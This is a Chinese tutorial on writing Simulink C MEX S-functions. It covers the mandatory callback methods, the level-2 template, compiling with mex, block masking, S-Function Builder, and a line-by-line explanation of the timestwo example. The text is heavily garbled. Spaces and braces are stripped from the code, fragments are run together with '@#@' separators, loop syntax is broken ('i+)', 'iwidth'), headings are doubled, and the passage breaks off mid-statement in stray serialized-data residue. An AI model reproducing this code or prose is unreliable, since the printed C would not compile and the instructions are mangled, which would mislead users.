@#@这四个函数是一个S函数必不可少的,缺少任何一个在编译的时候都无法通过,输出信息会提示哪个函数没有写。
@#@一个最基本的C语言S函数模版如下:
@#@#defineS_FUNCTION_NAMEname#defineS_FUNCTION_LEVEL2#include“simstruc.h”StaticvoidmdlInitializeSizes(SimStruct*S)StaticvoidmdlInitializeSampleTimes(SimStruct*S)StaticvoidmdlOutputs(SimStruct*S,int_Ttid)StaticvoidmdlTerminate(SimStruct*S)#ifdefMATLAB_MEX_FILE#include“Simulink.c”#else#include“cg_sfun.h”#endifS函数的运行依托于Simulink,Simulink的运行是采用循环方式,计算各采样时间点的系统状态得到的,由此可理解S函数,在初始化之后,S函数也通过循环完成输出状态计算。
@#@结合上述格式,首先自定义S函数名称,然后定义S函数级别,这里写2,1级是老版本Simulink使用的,现已经不是用,之所以保留1级是为了兼容原有的老程序,现在写的S函数都是2级的。
@#@接下来将需要的头文件包含进来,这里必须包含simstruc.h文件,这里的SimStruc是Simulink提供的数据结构,S函数中的输入输出等信息都包含在这个结构体中,同时,在编写S函数的时候也要把使用到的C语言库中的头文件包含进来,所有的C语言库文件在这里都可以使用。
@#@接下来即可按照格式顺序编写代码。
@#@最后要注意,如果用于仿真则添加Simulink.c文件,如果用于RTW代码生成,则添加cg_sfun.h头文件。
@#@这里的RTW代码生成是指非内嵌的S函数,如果要做一个内嵌的S函数则需要在S函数中添加mdlRTW()函数,并额外编写TLC文件。
@#@其中,TLC文件用于优化的C代码生成,mdlRTW()函数则把模块参数传递到生成的代码当中。
@#@具体TLC文件的编写方法这里不再赘述。
@#@除了上述必需的函数外,系统提供了其他可选用的函数,功能各异,例如mdlStart()等。
@#@只要理解了Simulink运行方式就可以理解文件的开发过程了,其中,系统函数和特定的变量类型都可以在SimStruct数据结构中找到。
@#@至此,基本的S函数都可以编写了。
@#@在编写结束后,将S函数源文件存储在MATLAB路径下,打开MATLAB命令行窗口,选择当前路径为存储路径,运用MEX命令编译C源文件,如果成功则在当前路径下生成一个后缀名为mexw32的文件(后缀名随系统环境不同而不同,32指32位系统,如果是64位系统则不同),如果使用的是MATLAB早期版本,则生成的文件后缀名为dll,即动态链接库。
@#@两者等价,这里可以用dll来理解mexw32文件的作用。
@#@当S函数编译写好之后,还不能在Simulink中直接调用,因为缺少一个可视化的模块。
@#@这时候打开Simulink,在用户自定义模块库中找到名称为S_function的模块,并将它拖拽到模型文件中。
@#@可以把它看成一个S函数的通用的容器,下面介绍如何把编写好的S函数放入这个容器,即模块封装。
@#@下面讲解S函数的模块封装方法:
@#@右键点击S函数模块,选择MASK选项,弹出封装编辑框,在这里有四个栏,分别为图标、参数、初始化、文档。
@#@其中参数最为重要。
@#@图标即模块上显示的图形,可以编辑自己需要的文字,也可以用图片包装模块。
@#@初始化可以对模块参数进行默认设置,文档中可以编写模块说明和帮助链接。
@#@而最重要的参数栏中,要把模块对应的S函数的参数列出来,每一个参数有三种形式:
@#@编辑、下拉框、复选框。
@#@如果是下拉框形式,要编辑对应的选项。
@#@如果S函数需要响应不同操作,可以对每一个参数选择编写对应的回调函数。
@#@值得一提的是,可以用set_param()函数直接对封装模块进行操作,可以实现更加灵活的封装。
@#@封装编辑好后,右键点击S函数模块选择LOOKUNDERMASK选项,在弹出的对话框中,首先填写原文件,把编译过的文件(mexw32)放置在当前目录下,在对话框中正确填写文件名(不写后缀),然后再把封装时定义的参数变量按顺序写在参数框中,每个参数用逗号隔开,注意变量名必须与封装填写的名称一致,且数目相同。
@#@最有一个框不用填写。
@#@点击OK。
@#@则完成了对S函数的模块封装。
@#@完成上述两个步骤之后,即完成了自定义的Simulink驱动模块,这时要做的工作是对该模块经行测试。
@#@若测试通过,可以将该模块添加进Simulink模块库,和Simulink提供的模块并没有任何的区别,方便以后工作中的重复利用。
@#@若测试未通过,则返回S函数编写工作中,重新编写S函数,重复上述步骤。
@#@由于封装只是一个将S函数图形化的过程,当测试出现问题的时候,可以确定是S函数的工作出现了问题,而不是因为封装引发的。
@#@由于水平有限,这里讲解不那么易于理解,可以在学习过程中,参照现有程序和MATLAB帮助文档,从自己动手编写简单的S函数入手,一旦完成一次,以后就很好理解了。
@#@4.1CMEX-fileS-function简介简介定义了S-function模块的CMEX-file必须在仿真过程中向Simulink提供模型信息。
@#@在仿真中Simulink、ODE求解器、MEX-file协作完成指定任务。
@#@这些任务包括:
@#@定义初始条件和模块特性,计算微分、离散状态和输出。
@#@Simulink与CMEX-fileS-function模块的交互仍是通过S-function的回调方法。
@#@每个回调方法执行一个预定义的,实现仿真所需功能的任务。
@#@S-function可以执行任何其实现的任务。
@#@一系列CMEX-fileS-function实现的回调方法,都远大于M-fileS-function中的。
@#@与M-fileS-function不同的是,CMEX-file可以访问并修改Simulink内部用来存储S-function信息的数据结构。
@#@更多的回调方法和对Simulink内部数据结构的访问能力,使得CMEX-fileS-function可以实现更丰富的模块特性,如处理矩阵信号和多种数据类型。
@#@CMEX-fileS-function只需实现Simulink定义的回调方法的一个小子集即可。
@#@如果不实现某个回调方法,相应的功能将被省略掉。
@#@这有利于快速开发简单的模块。
@#@通常CMEX-fileS-function的形式如下:
@#@#defineS_FUNCTION_NAMEyour_sfunction_name_here#defineS_FUNCTION_LEVEL2#includesimstruc.hstaticvoidmdlInitializeSizes(SimStruct*S)staticvoidmdlTerminate(SimStruct*S)#ifdefMATLAB_MEX_FILE/*IsthisfilebeingcompiledasaMEX-file?
@#@*/#includesimulink.c/*MEX-fileinterfacemechanism*/#else#includecg_sfun.h/*Codegenerationregistrationfunction*/#endifmdlInitializeSizes是Simulink与S-function交互时调用的第一个方法。
@#@随后Simulink将调用其他S-function方法(都以mdl开头)。
@#@仿真结束时,Simulink调用mdlTerminate。
@#@注意:
@#@与M-fileS-function不同,CMEX-fileS-function回调方法不是每个都具有flag参数。
@#@这是因为,Simulink仿真时直接在适当的时间调用每个回调方法。
@#@4.2自动建立自动建立S-function模块模块S-FunctionBuilder是通过规范定义和用户提供的C代码建立S-function的Simulink模块。
@#@S-FunctionBuilder还用作普通的S-function在Simulink模型中的包装。
@#@通过S-FunctionBuilder建立S-function。
@#@1.将MATLAB当前目录设置到需要建立S-function的目录。
@#@2.创建新的Simulink模型。
@#@3.从SimulinkUser-DefinedFunctionslibrary中将S-FunctionBuilder拖入新建的ulink模型。
@#@4.双击模块打开S-FunctionBuilder对话框。
@#@5.输入所需信息和用户代码。
@#@(详见下节)6.如果还未设置mex编译器,用mexsetup在MATLAB命令行设置。
@#@7.点Build按钮,启动建立过程。
@#@Simulink建立MEX文件实现指定的S-function,并存放在当前目录8.保存包含S-FunctionBuilder模块的模型。
@#@部署生成的S-Function要在其他模型中使用生成的S-Function,首先必须检查生成的S-Function所在的目录是否在MATLAB路径中。
@#@然后把S-FunctionBuilder模块从创建它的模型复制到目标模型并设置其参数。
@#@S-FunctionBuilder如何建立如何建立S-Function4.3S-FunctionBuilder对话框对话框4.4基本的基本的CMEX-fileS-function实例实例本节介绍一个CMEX-fileS-function实例:
@#@timestwo,实现输出信号放大为输入信号的2倍。
@#@以下是模型图:
@#@以下是timestwo.c文件的代码:
@#@#defineS_FUNCTION_NAMEtimestwo#defineS_FUNCTION_LEVEL2#includesimstruc.hstaticvoidmdlInitializeSizes(SimStruct*S)ssSetNumSFcnParams(S,0);@#@if(ssGetNumSFcnParams(S)!
@#@=ssGetSFcnParamsCount(S)return;@#@/*ParametermismatchwillbereportedbySimulink*/if(!
@#@ssSetNumInputPorts(S,1)return;@#@ssSetInputPortWidth(S,0,DYNAMICALLY_SIZED);@#@ssSetInputPortDirectFeedThrough(S,0,1);@#@if(!
@#@ssSetNumOutputPorts(S,1)return;@#@ssSetOutputPortWidth(S,0,DYNAMICALLY_SIZED);@#@ssSetNumSampleTimes(S,1);@#@ssSetOptions(S,SS_OPTION_WORKS_WITH_CODE_REUSE|SS_OPTION_EXCEPTION_FREE_CODE|SS_OPTION_USE_TLC_WITH_ACCELERATOR);@#@staticvoidmdlInitializeSampleTimes(SimStruct*S)ssSetSampleTime(S,0,INHERITED_SAMPLE_TIME);@#@ssSetOffsetTime(S,0,0.0);@#@ssSetModelReferenceSampleTimeDefaultInheritance(S);@#@staticvoidmdlOutputs(SimStruct*S,int_Ttid)int_Ti;@#@InputRealPtrsTypeuPtrs=ssGetInputPortRealSignalPtrs(S,0);@#@real_T*y=ssGetOutputPortRealSignal(S,0);@#@int_Twidth=ssGetOutputPortWidth(S,0);@#@for(i=0;@#@iwidth;@#@i+)*y+=2.0*(*uPtrsi);@#@staticvoidmdlTerminate(SimStruct*S)#ifdefMATLAB_MEX_FILE/*IsthisfilebeingcompiledasaMEX-file?
@#@*/#includesimulink.c/*MEX-fileinterfacemechanism*/#else#includecg_sfun.h/*Codegenerationregistrationfunction*/#endif这个实例包括3部分:
@#@宏定义和头文件;@#@回调方法的实现;@#@Simulink(或Real-TimeWorkshop)接口。
@#@宏定义和头文件宏定义和头文件示例程序中包含两个宏定义:
@#@#defineS_FUNCTION_NAMEtimestwo#defineS_FUNCTION_LEVEL2第一个指定S-function的名字,第二个指示该S-function是Level-2格式的。
@#@然后是包含头文件simstruc.h,在其中定义了SimStruct数据结构和MATLAB应用程序接口(API)函数。
@#@SimStruct是Simulink用于保持S-function信息的数据结构,simstruc.h中还有用于MEX文件设置或获取SimStruct属性值的宏定义。
@#@回调方法的实现回调方法的实现mdlInitializeSizes:
@#@Simulink调用mdlInitializeSizes方法查询S-function模块的输入输出端口数,端口容量,以及S-function所需的其他对象(如,状态个数等)。
@#@Timestwo实现的mdlInitializeSizes方法指定了下面信息零参数:
@#@意味着S-function对话框的参数框必须为空。
@#@否则,Simulink将报告参数不匹配。
@#@一个输入和一个输出端口:
@#@输入输出端口的宽度可以动态变化。
@#@Simulink将把所有输入信号乘以2作为输出信号的结果。
@#@注意,在这种情况下(一个输入一个输出端口),Simulink对S-function宽度的默认处理是输入和输出宽度相等。
@#@一个采样时间例子timestwo在mdlInitializeSampleTimes中指定实际的采样时间。
@#@代码无异常处理指定无异常处理的代码可以加速S-function的执行。
@#@作这项指定必须谨慎。
@#@通常,如果用户S-function与MATLAB没有交互,指定无异常处理的代码是安全的。
@#@mdlInitializeSampleTimes:
@#@Simulink调用mdlInitializeSampleTimes设置S-function的采样时间。
@#@每当timestwo模块的前驱模块执行一次,timestwo模块就执行一次,所以timestwo模块采用继承的采样时间。
@#@mdlOutputsSimulink在每个时间步调用mdlOutputs计算模块的输出。
@#@Timestwo模块的mdlOutputs方法实现了将输入信号乘以2,将结果写到输出信号。
@#@Timestwo模块的mdlOutputs方法使用了SimStruct中的宏:
@#@InputRealPtrsTypeuPtrs=ssGetInputPortRealSignalPtrs(S,0);@#@来实现对输入信号的访问。
@#@这个宏返回一个指针向量,必须通过*uPtrsi来访问。
@#@Timestwo模块的mdlOutputs方法还使用了real_T*y=ssGetOutputPortRealSignal(S,0);@#@来访问输出信号。
@#@这个宏返回一个包含模块输出的数组。
@#@S-function使用int_Twidth=ssGetOutputPortWidth(S,0);@#@来得到通过该模块的信号宽度。
@#@最后S-function循环通过输入得到输出。
@#@mdlTerminate执行仿真结束最后的任务。
@#@这是一个强制的S-function过程。
@#@不过由于timestwo模块不需要任何终止操作,所以其函数为空。
@#@Simulink/Real-TimeWorkshop接口在S-function的最后,下面的特定代码将该例子关联到Simulink或者Real-TimeWorkshop:
@#@#ifdefMATLAB_MEX_FILE#includesimulink.c#else#includecg_sfun.h#endif生成timestwo实例在命令行键入:
@#@mextimestwo.cmex命令将把timestwo.c编译、链接为一个可由Simulink动态加载执行的模块。
@#@这是一个动态链接库文件,在Window中,是个dll文件。
@#@4.5CMEXS-functions模板模板Simulink提供了CMEXS-functions模板。
@#@/simulink/src/sfuntmpl_basic.c提供了CMEXS-functions的常用功能方法。
@#@/simulink/src/sfuntmpl_doc.c则描述了CMEXS-functions的全部实现方法。
@#@S-function源代码文件的要求用户S-function要访问SimStruct结构,则必须在文件头部具备下列宏定义和头文件:
@#@#defineS_FUNCTION_NAMEyour_sfunction_name_here#defineS_FUNCTION_LEVEL2#includesimstruc.h这里your_sfunction_name_here指得是用户S-function的模块名。
@#@这些声明使S-function能访问SimStruct结构。
@#@当被编译为MEX文件时,matlabroot/simulink/include/simstruc.h将包括下面头文件:
@#@HeaderFileDescriptionmatlabroot/extern/include/tmwtypes.hGeneraldatatypes,e.g.,real_Tmatlabroot/extern/include/mex.hMATLABMEX-fileAPIroutinesmatlabroot/extern/include/matrix.hMATLABMEX-fileAPIroutines当被编译为MEX文件时,matlabroot/simulink/include/simstruc.h将包括下面头文件:
@#@HeaderFileDescriptionmatlabroot/extern/include/tmwtypes.hGeneraltypes,e.g.,real_Tmatlabroot/rtw/c/libsrc/rt_matrx.hMacrosforMATLABAPIroutines用户CMEXS-function文件尾部必须包括下面声明:
@#@#ifdefMATLAB_MEX_FILE/*IsthisbeingcompiledasMEX-file?
@#@*/#includesimulink.c/*MEX-fileinterfacemechanism*/#else#includecg_sfun.h/*Codegenerationregistrationfunc*/#endif这些声明确保针对用户具体应用选择适当的代码:
@#@当被编译为MEX文件的时候,simulink.c文件将被包含。
@#@当被编译为关联了实时工具箱(Real-TimeWorkshop)的独立程序时,cg_sfun.h文件将被包含。
@#@SimStruct结构C头文件matlabroot/simulink/include/simstruc.h定义了Simulink数据结构和访问SimStruct的宏定义。
@#@SimStruct封装了所有模型和S-function相关的数据。
@#@Simulink模型具有一个与之关联的SimStruct结构,而模型中的每个S-function模块也具有自己的SimStruct结构。
@#@这些SimStruct组成一个目录树,模型的SimStruct为根,S-function模块的SimStruct为孩子。
@#@编译CS-functionS-function可以以下列三种方式编译:
@#@MATLAB_MEX_FILE编译为用于Simulink的MEX文件。
@#@RT通过Real-TimeWorkshop生成代码,成为一个具有固定步长求解器的实时应用程序。
@#@NRT通过Real-TimeWorkshop生成代码,成为一个具有变步长求解器的非实时应用程序。
@#@4.6Simulink和和CMEXS-functions的互操作的互操作本节从过程和数据两方面的观点来介绍Simulink和CMEXS-functions的交互。
@#@过程观点下图描述了Simulink调用S-function回调方法的顺序。
@#@实线框表示该回调函数在初始化和(或)仿真循环的每个时间步都被调用;@#@虚线框表示该回调函数可能在初始化和(或)仿真循环的每个时间步被调用。
@#@S-function模块具有输入、输出信号,参数,内部状态,加上其他普通的工作区间。
@#@通常模块的输入输出信号都从模块的I/O向量读写。
@#@输入还可来自:
@#@根输入模块的外部输入。
@#@本地磁盘,如果没有输入信号连接或者是落地的数据。
@#@输出也可以写到根输出模块的外部输出。
@#@除了输入、输出信号,S-functions还具有:
@#@连续状态。
@#@离散状态。
@#@其他工作区间,如实型、整形或指针工作向量。
@#@利用S-function的对话框还可以实现S-function模块的参数化。
@#@S-function的mdlInitializeSizes方法可以设置不同信号和向量占用的空间。
@#@S-function访问信号有两种方式:
@#@通过指针或者通过毗邻的输入。
@#@通过指针访问信号在仿真循环中,可通过下面语句访问输入信号:
@#@InputRealPtrsTypeuPtrs=ssGetInputPortRealSi";i:
31;s:
0:
"";}